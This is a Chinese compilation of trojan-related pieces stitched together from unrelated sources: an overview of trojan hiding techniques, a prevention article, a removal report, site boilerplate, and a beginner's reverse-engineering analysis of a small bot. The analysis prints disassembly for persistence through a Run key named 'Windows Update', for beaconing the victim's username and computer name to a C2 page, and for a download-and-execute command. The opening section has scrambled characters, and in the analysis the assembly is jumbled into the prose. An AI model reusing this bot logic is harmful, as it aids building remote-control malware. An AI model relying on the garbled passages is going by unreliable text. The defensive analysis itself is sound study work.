目前，木马已经成为常见的网络攻击技术之一，对网络安全造成了严重的威胁。它具有攻击范围广、隐蔽性强等特点。本文主要针对木马的隐藏技术展开研究。木马定义和特征木马是指潜伏在电脑中，受到外部用户控制以达到窃取本机信息或控制权为目的的程序。其全称为特洛伊木马，英文叫做 “ ｒａｏｓ” Ｔｏｎｈｒ。它是指利用一段特定的程序（马程序）控制ｊｅ木来另一台计算机。木马通常有两个可执行程序：分别为客户端和服务端，即控制端和被控制端。植入被种者电脑的是 “ 务器 ”部服分，而所谓的 “ 客 ”正是利用 “ 制器 ”进入运行了 “ 黑控服务器 ” 的电脑。一旦运行了木马程序的 “ 务器 ”以后，被种者的电脑服就会有一个或几个端口被打开，黑客就可以利用这些打开的端口进入电脑系统，用户的个人隐私就全无保障了。木马的设计者采用多种手段隐藏木马以防止木马被发现。随着病毒编写技术的发展，木马程序采用越来越狡猾的手段来隐蔽自己，使普通用户很难发觉。二、木马的功能木马的主要功能有：（）窃取数据：仅仅以窃取数据为目的，本身不破坏损伤－计算机的文件和数值，也不妨碍系统的正常办公。有很多木马有键盘记录功能，会记录服务端每次敲击键盘的动作，所以一旦有木马入侵，数据将很容易被窃取。（）篡改文件：对系统的文件有选择地进行篡改，对服务二端上的文件有筛选的施行删除，修改，行等一些系列相关操作。运（）使系统自毁。利用的方法有很多：比如改变报时的钟三频率、使芯片热解体而毁坏、使系统风瘫等。三、木马的隐藏技术（）文件隐藏一木马程序植入目标系统后，就会改变其文件表现形式加以隐蔽，从而欺骗用户。隐藏保护木马文件的方式主要有以下几种：１绑隐藏．捆采用此隐蔽手段的木马主要有两种方式：插入到某程序中或者与某程序捆绑到一起，一旦程序运行木马也就会被启动，例如使用压缩的木马程序伪装成ｊｅｐｇ等格式的图片文件，马程序就木有了随时运行的可能。或者与常用程序捆绑到一起，一旦木马被点击就会加载运行，使用户难以防范，例如提供给用户捆绑了木马程序的解压软件，一旦用户运行该软件此程序便被释放并立即运行。２伪装隐藏．首先利用自身多变性的外部特征伪装成单独的文件，定好文选件名，然后修改文件系统的相关程序，最后设置文件属性为隐藏或者只读。这样，木马就伪装成了正常的文件或者非可执行文件。

互联网木马病毒的分析与防范

Science &Technology Vision 科技视界0引言2012年安全中心针对中国互联网安全状况进行统计显示,2012年截获新增木马病毒等恶意程序样本13.7亿个,拦截恶意程序攻击415.8亿次,URL 欺诈,网盘、聊天群等文件分享在木马传播渠道中的比例持续提高,在线棋牌游戏则成为木马产业链的主攻对象,浏览器受钓鱼网站威胁的次数达到81.0亿次,较2011年增长了273.3%,是同期挂马网页数量的近200倍,个人电脑的网络安全形势正在受到更加严峻的威胁。

1木马的危害随着网络环境多元化的发展,病毒的感染和传播能力的途径也由原来的单一简单变得复杂而隐蔽,尤其是单位网络环境和内部网络环境的复杂化,为病毒的传播和生存提供了滋生的温床。

木马和其他破坏性的病毒不同,它不是破坏计算机系统里的软硬件,而是通过系统漏洞植入木马程序,在用户毫不知情的情况下泄漏用户的密码、资料等,甚至可以远程监控用户的操作,达到偷窥别人隐私和获得经济利益的目的。

因此,单位、国防、外交和商务部门,受木马的危害会更大,如果不慎中了木马损失会很惨重。

木马的危害性比传统病毒的危害性更大,能够造成不可估计的损失。

根据木马的性质和目的与一般的病毒截然不同,木马虽然是病毒中的一种,但它有别于传统病毒,所以将它从传统病毒中独立出来称之为“木马”病毒。

2木马的原理木马病毒是一个计算机程序,它驻留在计算机里,随计算机自动启动,并对某一端口侦听、识别到所接收的数据后,对目标计算机执行特定的操作。

木马程序是由客户端和服务端两个程序组成,其中客户端是攻击者远程控制终端的程序,服务端程序则是木马程序。

当木马的服务端程序成功入侵到目标计算机系统上并运行以后,攻击者就可以使用客户端程序与服务端建立连接,并进一步控制被入侵的计算机系统。

绝大多数木马程序的客户端和服务端通信协议使用的是TCP/IP 协议,也有一些木马由于特殊的原因,使用UDP 协议进行通信。

木马查杀情况汇报

木马查杀情况汇报最近，我对木马查杀情况进行了一次全面的汇报，以下是我对最新情况的总结和分析：首先，我们对最近发现的木马进行了全面的排查和分析。

经过调查发现，最近出现的木马主要通过网络下载和邮件附件的方式传播，对用户的电脑系统和个人信息造成了严重威胁。

在对样本进行分析后，我们发现这些木马主要通过隐藏在常见文件中的形式进行传播，例如Word文档、PDF文件等。

因此，用户在打开这些文件时很容易受到木马的攻击。

其次，我们对木马的传播途径进行了详细的调查。

通过分析发现，这些木马主要通过一些常见的漏洞进行传播，例如操作系统的漏洞、浏览器的漏洞等。

此外，一些用户在下载软件时没有注意软件的安全性，导致木马通过软件进行传播。

因此，我们建议用户在使用电脑时要及时更新系统和软件，以及加强对网络安全的意识，避免在不安全的网站下载文件。

另外，我们还对木马的危害进行了分析。

经过调查发现，这些木马主要通过窃取用户的个人信息、监控用户的操作、篡改用户的文件等方式进行攻击。

一旦用户的电脑感染了木马，个人隐私和重要文件就会面临泄露和破坏的风险。

因此，我们建议用户在使用电脑时要加强对木马的防范意识，定期进行木马查杀，及时清理电脑中的垃圾文件和可疑文件。

最后，我们对木马查杀工具进行了评估。

经过测试和比较，我们发现一些知名的杀毒软件和安全工具在查杀木马方面效果较好，能够及时发现并清除电脑中的木马。

因此，我们建议用户在使用电脑时要安装可靠的杀毒软件和安全工具，定期对电脑进行全面的查杀和清理，确保电脑系统的安全性。

综上所述，木马查杀工作是一项重要的安全工作，需要我们高度重视和加强防范意识。

我们将继续加大对木马查杀工作的力度，为用户提供更加安全可靠的网络环境。

希望用户能够加强对木马的防范意识，保护好自己的电脑系统和个人信息。

同时，我们也欢迎用户对木马查杀工作提出宝贵意见和建议，共同为网络安全保驾护航。

1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。

完整版-木马分析一个木马的分析第一次详细分析木马，不足之处请见谅。

这个木马一共4KB，是个比较简单的程序，所以分析起来也不是很难。

下面开始正式分析。

这是程序的主题函数，一进来就是三个初始化的call，然后就是一个大的循环，程序就是在这个循环之中不停的运行着。

跟进第一个call:函数首先创建了一个hObject变量～用于存放创建的互斥对象句柄。

mov [ebp+hObject],start proc near eax就是将创建的互斥句柄传送到call sub_401481hObject中。

这里是创建了一个名为 call sub_401092H1N1Bot的互斥对象。

然后调用 call sub_4011AEloc_4014C4: GetLastError得到错误码～这里加call sub_4013D5入程序已经有一份实例在运行了～则 call sub_40143Fpush 0EA60h ; 这个互斥对象就是创建过了的～就是dwMilliseconds得到错误代码为0B7h的值。

通过查 call Sleep询msdn发现:0b7h含义是Cannot jmp short loc_4014C4start endp create a file when that filealreadyexists.所以这样就防止了木马程序同时打开了多份。

当返回值是0B7h的时候～调用ExitProcess退出程序。

总结来说这个call就是检查程序是否已经打开～要是打开过了就退出。

进入401092的call，由于这hObject = dword ptr -4个函数代码过多，就不贴详细的.text:00401481代码了。

函数定义了两个局部字.text:00401481 push ebp符串数组ExistingFileName，.text:00401482 mov ebp, espString2(这里是ida分析给出的名.text:00401484 add esp, 0FFFFFFFCh字)和一个文件指针。

函数先将.text:00401487 push offset Name ;这两个数组用零填充，然后调用"H1N1Bot"GetModuleFileNameA得到当前.text:0040148C push 0 ;程序的完整路径，并将结果存放bInitialOwner在ExistingFileName中。

在调用.text:0040148E push 0 ;SHGetFolderPathA并将结果存lpMutexAttributes放在String2中。

.text:00401490 call CreateMutexASHGetFolderPathA可以获.text:00401495 mov [ebp+hObject], eax取系统文件夹，这里他的参数值.text:00401498 call GetLastError是0x1c。

.text:0040149D cmp eax, 0B7hConst .text:004014A2 jz short loc_4014A6CSIDL_LOCAL_APPDATAH1C调用ExitProcess退出程序.(用户)\本地设置\应用程序数.text:004014A4 leave据。

即如果以administration身.text:004014A5 retn份登录获得的是C:\DocumentsandSettings\Administrator\LocalSettings\Applicaton Data\路径。

然后调用lstrcatA这个函数在String2的后面加上\\winvv.exe。

然后比较String2和ExistingFileName是否相同，不同则把自身复制到ExistingFileName中，最后运行复制过去的文件，自身退出。

总体来讲第二个call就是路径检查的。

3.进入4011AE的call,这个函数就是实现程序的开机运行，手法也很简单。

就是在注册表中创建键值。

位置在Software\Microsoft\Windows\CurrentVersion\Run\，键值叫做Windows Update，其迷惑作用。

4(下面我们进入这个木马的核心程序。

大循环。

4013D5的callsub_4013D5 proc nearlpString = dword ptr -4push ebpmov ebp, espadd esp, -4push 40h ; flProtectpush 1000h ; flAllocationTypepush 512 ; dwSizepush 0 ; lpAddresscall VirtualAlloc ; 申请内存mov [ebp+lpString], eax ; 内存首地址存到局部变量里mov dword ptr [eax], 'edom'add eax, 4mov dword ptr [eax], 'i&2='add eax, 4mov dword ptr [eax], 'tned'add eax, 4mov byte ptr [eax], '='inc eax ; 向buffer中填充mode=2&ident=(注意顺序)push eaxpush eax ; lpStringcall sub_40138B ; 向buffer追加当前系统用户名，并返回用户名长度mov ecx, eaxpop eaxadd eax, ecxpush eax ; eax始终保持指向字符串的末尾push eax ; lpStringcall sub_4013B0 ; 获取计算机名，并追加到buffer中，返回计算机名长度push [ebp+lpString]此时buffer内容为"mode=2&ident=AdministratorPC-201008252144"push [ebp+lpString] ; lpStringcall sub_401000 关键callpush 8000h ; dwFreeTypepush 0 ; dwSizepush [ebp+lpString] ; lpAddresscall VirtualFree程序首先构造了一个字符串mode=XX&ident=XX(XX表示生成的数据)，然后调用401000的函数。

这个函数是构造了一个网络请求，并向指定的网站发送post请求。

用到的函数有InternetOpenA，InternetConnectA，HttpOpenRequestA，HttpSendR equestA，InternetReadFile。

用抓包软件可以分析出我电脑上post的数据.POST /admin/bot.php HTTP/1.1Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: Content-Length: 26Cache-Control: no-cachemode=2&ident=studentCSE029 (studentCSE029为我电脑上的用户名)此时对方并未返回数据，可能只是需要向服务器post一下数据而已。

到此这个大函数的任务完成，于是返回。

然后进入40143F的函数。

sub_40143F proc nearlpString = dword ptr -4push ebpmov ebp, espadd esp, 0FFFFFFFChpush 40h ; flProtectpush 1000h ; flAllocationTypepush 200h ; dwSizepush 0 ; lpAddresscall VirtualAlloc 申请缓冲区mov [ebp+lpString], eaxpush [ebp+lpString] ; intpush offset String ; "mode=1"call sub_401000 调用post数据的函数push [ebp+lpString] ; lpStringcall sub_40134E ; 处理命令push 8000h ; dwFreeTypepush 0 ; dwSizepush [ebp+lpString] ; lpAddresscall VirtualFreeleaveretnsub_40143F endp这个函数也只有两个重点处，调用0x401000处的函数，这个函数刚刚用过，传入两个参数，函数将服务器返回的数据存放在第一个参数中，第二个参数仅仅是需要post的数据。

POST /admin/bot.php HTTP/1.1Content-Type: application/x-www-form-urlencoded User-Agent: myAgentHost: Content-Length: 6Cache-Control: no-cachemode=1这是post的数据，mode参数变成了1，但是服务器什么也没返回。

所以返回数据只能之际分析程序了。

下面我们进入处理服务器返回数据的函数0x40134E。

这是这个函数的流程图。

接收到的命令有三种～clo，～rem，～bwn。

当命令为～clo，调用0x401346处的函数，就是调用ExitProcess退出程序。

当命令为～rem，先调用0x40117A处的函数，再调用0x401346处的函数。

当命令为～bwn，调用0x4012A1处的函数。

0x40117A处的函数是清楚开机运行的注册表信息。

0x4012A1处的函数:从参数中分解出需要下载的文件字符串和下载后存储的文件名，然后调用URLDownloadToFileA下载文件，再调用ShellExecuteA运行它，都是常规的手法。

到此这个函数的功能叶介绍玩了。

返回到最开始的大循环中，push 60000 ; dwMillisecondscall Sleep调用Sleep函数，程序先挂起1分钟，然后再循环。

总体来说这个程序的功能是比较简单的～就是到指定的网站上接受相应的命令～在做出相应的处理。

只不过在这个杀软看守很严的年代已经没有它的存活空间了～第一次分析木马～有些简单了～哈哈。